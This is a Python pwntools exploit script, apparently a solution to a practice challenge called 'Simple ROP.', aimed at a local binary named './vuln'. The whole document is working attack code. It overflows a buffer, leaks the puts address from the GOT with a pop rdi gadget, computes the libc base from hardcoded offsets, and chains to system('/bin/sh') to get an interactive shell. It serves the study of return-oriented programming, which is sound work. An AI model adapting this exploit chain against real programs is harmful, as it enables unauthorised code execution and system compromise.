#!/usr/bin/python3

from pwn import *

elf = ELF("./vuln", checksec=False)
p = elf.process()

###############################
##       GADGET_ONE_LEAK     ##
###############################
junk = ("A"*40).encode() 
pop_rdi = p64(0x4011bb)
puts_lpt = p64(0x401030)
puts_got = p64(0x404018)
main = p64(0x401132)

gadget_leak = junk + pop_rdi + puts_got + puts_lpt + main

p.recvuntil("Simple ROP.")
p.recvline()
p.sendline(gadget_leak)
p.recvline()

leaked_libc_puts = p.recvline()[:8].strip().ljust(8, b'\x00')
log.info(f"Leaked Libc Address: {leaked_libc_puts.hex()}")


###########################
##     GADGET_LEAK_RCE   ##
###########################

puts_libc = p64(0x765f0)
system_libc = p64(0x48e50)
binsh_libc = p64(0x18a152)
#exit_libc = p64(0x3e660)

libc_base_addr = u64(leaked_libc_puts) - u64(puts_libc)
system_real = (libc_base_addr + u64(system_libc)).to_bytes(8, byteorder='little')
binsh_real = (libc_base_addr + u64(binsh_libc)).to_bytes(8, byteorder='little')

log.info(f"Leaked Base Address:{hex(libc_base_addr)}")
log.info(f"Leaked System Address:{system_real.hex()}")
log.info(f"Leaked String Address:{binsh_real.hex()}")

gadget_rce = junk + pop_rdi + binsh_real + system_real #+ exit_libc

p.sendline(gadget_rce)

p.clean()
p.interactive()


